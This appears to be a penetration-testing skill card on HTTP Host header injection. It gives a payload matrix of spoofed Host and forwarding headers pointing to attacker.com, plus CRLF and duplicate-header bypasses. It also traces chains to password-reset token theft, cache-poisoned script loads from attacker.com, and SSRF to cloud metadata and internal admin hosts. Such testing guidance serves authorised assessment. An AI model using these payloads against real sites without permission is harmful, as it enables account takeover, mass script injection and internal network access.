| name | testing-for-host-header-injection |
| description | Test web applications for HTTP Host header injection vulnerabilities to identify password reset poisoning, web cache poisoning, SSRF, and virtual host routing manipulation risks. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["host-header-injection","password-reset-poisoning","cache-poisoning","virtual-host","web-security","header-manipulation","ssrf"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"] |
Testing for Host Header Injection
When to Use
- When testing password reset functionality for token theft via host manipulation
- During assessment of web caching behavior influenced by Host header values
- When testing virtual host routing and server-side request processing
- During penetration testing of applications behind reverse proxies or load balancers
- When evaluating SSRF potential through Host header manipulation
Critical: Payload Matrix and Bypasses (checklist-derived)
Headers to try (one per request, then in combination)
Host: attacker.com
X-Forwarded-Host: attacker.com
X-Forwarded-Server: attacker.com
X-Host: attacker.com
X-Forwarded-For: attacker.com
Forwarded: host=attacker.com
Injection techniques
# Duplicate Host headers (front-end reads first, back-end reads second or vice-versa)
Host: target.com
Host: attacker.com
# Absolute-URL request line (request line host vs Host header mismatch)
GET https://target.com/ HTTP/1.1
Host: attacker.com
# Host with port / userinfo confusion
Host: target.com:@attacker.com
Host: target.com:80@attacker.com
Host: attacker.com:80
# CRLF dual host / header injection
Host: target.com%0d%0aHost: attacker.com
# Line wrapping (leading space/tab continuation — some parsers fold it)
Host: target.com
Host: attacker.com
Impacts to chain toward
- Password-reset poisoning: trigger reset with a poisoned
Host/X-Forwarded-Host; the reset email link is built from the header and points to the attacker, leaking the token when the victim clicks.
- Web-cache poisoning: if the cache key excludes Host but the response reflects it (e.g.,
<script src="//attacker.com/app.js">), the poisoned response is served to all users — stored XSS at scale.
- Routing-based SSRF: the front-end proxies to the host in the header, letting you reach internal hosts (
Host: 169.254.169.254, Host: 127.0.0.1:8080) or internal vhosts.
- Secondary-context / access-control bypass: route to unprotected backend vhosts (
Host: admin.internal, Host: localhost) the front-end normally guards.
Confirmation
- The injected host is reflected in the response body, in absolute links/
<script>/<link> src/href, or in a Location redirect.